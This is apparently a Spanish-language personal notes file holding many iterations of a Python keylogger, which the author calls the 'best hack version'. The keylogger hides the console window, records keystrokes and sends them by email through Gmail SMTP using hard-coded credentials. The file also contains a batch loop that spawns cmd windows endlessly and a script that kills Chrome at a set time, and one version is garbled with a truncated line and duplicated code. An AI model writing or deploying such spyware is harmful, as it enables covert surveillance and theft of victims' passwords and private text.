:bucle
star hola
goto gil
si guardo lo de arriba en.bat si ejecutara cmd infinitamente, para PARARLO MANTENER
ALT F4 HASTA QUE DEJE DE GENERAR
cd .\downloads\ # Cambiar al directorio "downloads"
pip install .\pywin32-228-cp36-cp36m-win32.whl # Instalar el paquete de Python
desde el archivo .whl
=======================================
import pythoncom
import pyHook
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Ruta al archivo de registro
log_file = "registro.txt"
# Configuración del servidor SMTP para enviar correo electrónico
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
# Contadores de pulsaciones de tecla "Enter" y clics de ratón
enter_count = 0
mouse_click_count = 0
# Función para enviar correo electrónico
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
# Función de registro de teclas
def OnKeyboardEvent(event):
global enter_count
if event.Ascii == 13: # Tecla "Enter"
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(chr(event.Ascii))
return True
# Función de registro de clics de ratón
def OnMouseEvent(event):
global mouse_click_count
mouse_click_count += 1
if mouse_click_count >= 5:
mouse_click_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón", log_content)
with open(log_file, 'w') as f:
f.truncate()
return True
# Ocultar la ventana de la consola
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Instalar un filtro de teclado y ratón
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
hm.MouseAll = OnMouseEvent
hm.HookMouse()
# Iniciar el bucle de mensajes
pythoncom.PumpMessages()
==========================================================================2
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'Hola,ostrastio@auris.com'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
except Exception as e:
pass
def on_key_event(event):
global enter_count
if event.name == 'enter':
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
else:
with open(log_file, 'a') as f:
f.write(event.name)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
========3 EL MEJOR FINAL
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=============CERRAR CHROME
import os
from datetime import datetime, time
import time as t
def cerrar_programa(programa):
os.system("TASKKILL /F /IM " + programa + ".exe")
def cerrar_programa_a_la_hora(programa, hora_cierre):
while True:
ahora = datetime.now().time()
if ahora >= hora_cierre:
cerrar_programa(programa)
break
t.sleep(60) # Espera 60 segundos antes de verificar de nuevo
if __name__ == "__main__":
programa_a_cerrar = "chrome.exe"
hora_de_cierre = time(22,20) # Hora de cierre (12:00 PM)
cerrar_programa_a_la_hora(programa_a_cerrar, hora_de_cierre)
===================================================================================
=============nueva version key
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in
return True
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
======================================================================otra version
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf' # Nueva contraseña
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
# Teclas que deseas omitir
keys_to_ignore = ['right', 'shift', 'alt', 'alt gr', 'ctrl']
# Manejar la barra espaciadora, el clic izquierdo del mouse y la tecla enter
if key == 'space':
key = ' ' # Reemplazar la barra espaciadora por un espacio en blanco
elif key == 'enter':
key = '\n' # Reemplazar la tecla enter por un salto de línea
enter_count += 1
if enter_count >= 5:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de pulsaciones de teclado y ratón",
log_content)
with open(log_file, 'w') as f:
f.truncate()
return False # Detener el registro de la tecla Enter
elif key == 'backspace' or key == 'left mouse':
key = '\n' # Separar las palabras escribiendo en la siguiente línea
elif key.lower() in keys_to_ignore:
# Ignorar las teclas definidas en keys_to_ignore
return False # Detener el registro de las teclas ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
keyboard.on_press(on_key_event)
keyboard.wait()
===================================================================================
=mejor version de hack
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
key = event.name
scan_code = event.scan_code
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [54, 42, 56] # 54 para Ctrl, 42 para Shift, 56 para Alt
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
elif key.lower() in keys_to_ignore or scan_code in scan_codes_to_ignore:
return True # Ignora la tecla si está en la lista de ignoradas
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
==LA MEJOR VERSION DEL CODIGOOOOO SOLO FALTA CORREGIR Ñ
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
=================================================================================me
jor version que omite alt gralt
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt']
scan_codes_to_ignore = [42, 54, 56] # 42 para Shift, 54 para Ctrl, 56 para Alt
alt_gr_scan_codes = [541] # Scan code específico para Alt Gr
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
# Manejo específico de Alt Gr
if event.scan_code in alt_gr_scan_codes:
return True # Ignora Alt Gr
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
===version ignora flecha arriba, abajo, izquierda , derecha| version 15/6
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
enter_count = 0
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
print("Contenido del mensaje:")
print(text)
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global enter_count
# Lista de teclas a ignorar (nombre y/o scan_code)
keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']
scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77] # 42 para Shift, 54 para
Ctrl, 56 para Alt, 72-80 para flechas
if event.name == 'ctrl':
return True # Ignora la tecla Ctrl
if event.scan_code in scan_codes_to_ignore:
return True # Ignora otras teclas según su scan_code
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
enter_count += 1
if enter_count >= 3:
enter_count = 0
with open(log_file, 'r') as f:
log_content = f.read()
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.truncate()
elif key == 'backspace' or key == 'left mouse':
key = '\n'
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
===================================================================================
===================ESTA VERSION EVITA PALABRAS REPETIDAS, PODRIA FINALIZAR ACA EL
PROYECTO
import keyboard
import win32gui
import win32console
import win32con
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
log_file = "registro.txt"
smtp_server = 'smtp.gmail.com'
smtp_port = 587
smtp_user = 'diego.alch4@gmail.com'
smtp_password = 'ghtd rlbu heih klaf'
email_from = 'diego.alch4@gmail.com'
email_to = 'diego.alch4@gmail.com'
buffer = [] # Almacena temporalmente las pulsaciones antes de escribirlas en el
archivo
def send_email(subject, message):
msg = MIMEMultipart()
msg['From'] = email_from
msg['To'] = email_to
msg['Subject'] = subject
msg.attach(MIMEText(message, 'plain'))
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.starttls()
server.login(smtp_user, smtp_password)
text = msg.as_string()
server.sendmail(email_from, email_to, text)
server.quit()
print("Correo electrónico enviado con éxito.")
except Exception as e:
print("Error al enviar el correo electrónico:", str(e))
def on_key_event(event):
global buffer
keys_to_ignore = ['right', 'shift', 'alt', 'up', 'down', 'left']
scan_codes_to_ignore = [42, 54, 56, 72, 80, 75, 77]
if event.name == 'ctrl':
return True
if event.scan_code in scan_codes_to_ignore:
return True
key = event.name
if key == 'space':
key = ' '
elif key == 'enter':
key = '\n'
buffer.append(key) # Agrega el salto de línea al buffer
if len(buffer) >= 3:
log_content = ''.join(buffer)
send_email("Registro de teclas", log_content)
with open(log_file, 'w') as f:
f.write("") # Limpia el contenido del archivo
buffer.clear() # Limpia el buffer después de enviar el correo
return True # Retorna True para evitar escribir '\n' en el archivo
elif key == 'backspace' or key == 'left mouse':
key = '\n'
buffer.append(key) # Agrega la tecla al buffer
# Guarda en el archivo solo si no es un carácter especial
if len(key) == 1:
with open(log_file, 'a') as f:
f.write(key)
return True
# Oculta la consola de Windows
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, win32con.SW_HIDE)
# Asocia la función on_key_event al evento de presionar teclas
keyboard.on_press(on_key_event)
# Espera hasta que se presione una tecla (ejecución infinita)
keyboard.wait()
